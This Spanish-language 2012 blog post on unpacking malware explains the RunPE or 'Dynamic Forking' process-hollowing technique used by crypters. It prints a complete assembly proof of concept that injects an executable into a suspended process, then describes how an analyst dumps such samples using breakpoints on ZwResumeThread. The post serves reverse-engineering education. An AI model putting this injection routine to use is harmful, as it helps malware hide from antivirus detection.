Unpacking Malware, Dynamic Forking

JUL05 2012 ESCRITO POR **NOX**

Comencé a ver este método cuando inicié a analizar malware, la gran mayoría de los malware que me tocaba estudiar su comportamiento, usaban esta técnica para la "indetectabilización", comúnmente usado por crypters, Dynamic Forking es un método muy viejo (aunque he visto que le denominan **RunPE** en la red), pero dado, al gran uso que aún se le sigue dando y las variantes que hacen al programar el Dynamic Forking, he decidido escribir esta entrada. La primeras veces que vi este método, me codee un Script para poder dumpear haciéndome la vida más fácil, pero luego, debido a las variantes en la programación que le daban a esta método, para cada espécimen tenía que hacerle medianas modificaciones al Script, esto ya resultaba un poco fastidioso (antes tan solo con cambiar los datos de la última AddressBase que usaba WriteProcessMemory (o su nativa) o algún otro pequeño dato era suficiente). Cuándo nos encontremos en el subtitulo de Unpacking de esta entrada hablaremos más al respecto.

Dynamic Forking

Para saber como desempacar los malware a los que fueron aplicados este método, vamos a explicar como funciona esta técnica.

Nota:
No es necesario conocer este método para poder obtener la muestra, es más yo no conocía como funcionaba hasta la primera vez que lo vi, y con solo analizar (reversing) se puede desempacar. Pero lo hacemos de esta manera por ser la más didáctica.

Entonces que es "Dynamic Forking" ¿?, es un técnica muy usado por los crypters, consiste en ejecutar un binario sin necesidad de que ocupe tamaño en disco. Para hacer esto el archivo a ejecutar está en el cuerpo del ejecutable, generalmente lo adjuntan como recurso y está cifrado para evitar las detecciones, este archivo es descifrado en memoria y luego ejecutado.

Funcionamiento:

1. Un buffer apuntando al archivo en memoria (generalmente cifrado).
2. Crea un nuevo proceso suspendido.
3. Desmapear desde la ImageBase del archivo a ejecutar en memoria en el nuevo proceso.
4. Reservar memoria en el proceso suspendido a partir de la ImageBase del archivo con el tamaño de SizeOfImage.
5. Copiar en la memoria reservada la cabecera y las secciones del archivo alineadas por el campo SectionAlignment.
6. Obtener el contexto del thread del proceso suspendido (los registros, flags, etc)
7. Mover en EAX el EntryPoint del archivo, es decir la dirección donde comenzará a ejecutarse.
8. Cambiar en la estructura PEB el campo ImageBaseAddress (offset +8) modificarlo con la ImageBase del archivo.
9. Setear el nuevo contexto (el registro EAX ya modificado) al thread del proceso suspendido.
10. Iniciar el proceso suspendido.

Nota:
Entiéndase archivo en la anterior lectura como un ejecutable compilado para la plataforma de windows, ejemplo: "target.exe".
ImageBase, es la dirección que cargará el loader de windows al ejecutable.
SizeOfImage, es el tamaño del ejecutable en memoria.
El registro EBX apunta a la estructura PEB en el inicio de un nuevo proceso, el campo ImageBaseAddress de dicha estructura se encontraría en la posición EBX + 8.
La numeración del funcionamiento no necesariamente ejerce ese orden.

A continuación el PoC:

```
DF PROC USES edi
LOCAL SUI:STARTUPINFOA
LOCAL PI:PROCESS_INFORMATION
LOCAL lpContext:CONTEXT

;Archivo mapeado en memoria - 1
        invoke CreateFile,addr szFName,GENERIC_WRITE or GENERIC_READ, \
                                        FILE_SHARE_WRITE + FILE_SHARE_READ,\
                        NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
        mov [hFile], eax

        invoke GetFileSize, [hFile], NULL
        mov [dwFSize], eax

        invoke GlobalAlloc,GMEM_FIXED + GMEM_ZEROINIT, [dwFSize]
        mov [lpMemory], eax

        invoke ReadFile, [hFile], [lpMemory], [dwFSize],addr dwBytesRead, NULL

        invoke CloseHandle, [hFile]

;Proceso Suspendido - 2
        invoke CreateProcess,addr szNProcess, NULL, NULL, NULL, FALSE, \
                        CREATE_SUSPENDED, NULL, NULL, addr SUI, addr PI

        mov edi, [lpMemory]
        assume edi : ptr IMAGE_DOS_HEADER
        add edi, [edi].e_lfanew
        mov [NTHeaders], edi
        assume edi: ptr IMAGE_NT_HEADERS

;Desmapeamos desde la ImageBase del archivo en el proceso suspendido - 3
        invoke NtUnmapViewOfSection, PI.hProcess, [edi].OptionalHeader.ImageBase

;Reservar memoria a partir del ImageBase del archivo con el tamaño del
;archivo en memoria - 4
        invoke VirtualAllocEx, PI.hProcess, [edi].OptionalHeader.ImageBase, \
                        [edi].OptionalHeader.SizeOfImage, MEM_COMMIT + MEM_RESERVE, \
                        PAGE_EXECUTE_READWRITE
        mov [lpAllocated], eax

;Escribimos las cabeceras en el proceso suspendido - 5
        invoke WriteProcessMemory, PI.hProcess, [lpAllocated], [lpMemory], \
                        [edi].OptionalHeader.SizeOfHeaders, 0

        movzx esi, [edi].FileHeader.SizeOfOptionalHeader
        lea ecx, [edi].OptionalHeader
        add esi, ecx
        mov [SectionHeader], esi

        assume esi: ptr IMAGE_SECTION_HEADER

        mov ebx, [edi].OptionalHeader.ImageBase
        mov [dwImageBase], ebx

;Escribimos las secciones en el proceso suspendido - 5
        xor ecx, ecx
        .while cx < [edi].FileHeader.NumberOfSections

                mov ebx, [dwImageBase]
                add ebx, [esi].VirtualAddress

                mov eax, [lpMemory]
                add eax, [esi].PointerToRawData

                push ecx
                invoke WriteProcessMemory, PI.hProcess, ebx, eax, \
                        [esi].SizeOfRawData, 0
                pop ecx

                add esi, SIZEOF IMAGE_SECTION_HEADER
                inc ecx
        .endw

;Obtenemos el contexto del hilo del proceso suspendido - 6
        mov lpContext.ContextFlags, CONTEXT_FULL

        invoke GetThreadContext, PI.hThread, addr lpContext

;EAX = EntryPoint - 7
        mov eax, [edi].OptionalHeader.AddressOfEntryPoint
        add eax,[dwImageBase]
        mov lpContext.regEax, eax
```

```
;Cambiar el Campo ImageBaseAddress de la estructura PEB del hilo del proceso
;suspendido por la ImageBase del archivo - 8
        mov ebx, lpContext.regEbx
        add ebx, 8

        invoke WriteProcessMemory, PI.hProcess, ebx, addr [dwImageBase], 4, 0

;Nuevo contexto para el hilo del proceso suspendido - 9
        invoke SetThreadContext, PI.hThread, addr lpContext

;Iniciar el proceso suspendido - 10
        invoke ResumeThread, PI.hThread

        assume edi: ptr nothing
        assume esi: ptr nothing

        ret

DF endp
```

Solo es un PoC así que el número 1 solo procuré tenerlo en un buffer en memoria el archivo. En el número 5 se escribe el tamaño de todas las cabeceras juntas (DOS HEADER, DOS STUB, FILE HEADER, OPTION HEADER, DATA DIRECTORY, SECTION HEADER) y las secciones según el VirtualAddress + ImageBase, es decir la dirección que será cargado en memoria las secciones. El número 8 escribir en el PEB en el Campo ImageBaseAddress, en w7 ya no es necesario hacerlo, al menos según he hecho mis pruebas, al ver que hay en ese campo se ve la ImageBase correcta, que supongo lo toma a la hora de reservar memoria en el proceso con la ImageBase.

Unpacking!

La forma como fue programada esta técnica puede variar en algunos aspectos, uno de ellos es que usan las APIs Nativas como ZwWriteVirtualMemory, ZwResumeThread, etc. Otra forma que he visto según iba desempacando era que usan la no documentada API nativa ZwResumeProcess, la forma de escribir en el proceso suspendido puede variar, usar indiscriminadamente la API WriteProcessMemory para confundir al analista, escribir por partes una sola sección. En los VB he podido observar que provocan indiscriminadamente “excepciones” del tipo **Inexact floating-point** que en Olly al menos la versión 1.10 tienes que bypassearlos a mano, y lo tedioso es cuando son miles de miles, hace poco vi como implementaban la estructura SEH provocando una excepción y saltando a una dirección dónde iniciaría el proceso, y si no lo tomas en cuenta, a la primera la tienes adentro xD. Y bueno otras cosas más que seguro se me están pasando, igual solo es un poco de imaginación para fastidiar un poco al analista.

Cuándo vi por primera vez esta técnica ya hace unos meses no sabía ni siquiera que tenía nombre, pero con algo de reversing se podía desempacar, recuerdo que hice un script que solo cambiado el último valor del Buffer (ya que es único) que usaba WriteProcessMemory, tenía el tamaño total del archivo que estaba escribiendo (tomado del parámetro *nSize* de la API) y listo, hacia el dump todo genial, pero luego comenzaron a aparecer lo que comenté en el párrafo anterior todas esas chucherías que le ponían al método Dynamic Forking, así que la única solución era poner un BreakPoint de cualquier tipo en la API ZwResumeThread y ZwResumeProcess. Una vez que ha parado observamos que proceso nuevo se ha creado, y lo dumpeamos, tal como está, hasta ahora esta forma no me ha fallado y cuando lo haga, crearé un anexo para indicar que usó el malware para que no funcione y como lo solucioné, pero como según veo eso está bien verde.

Agradecimiento a un amigo The Swash.

Nox.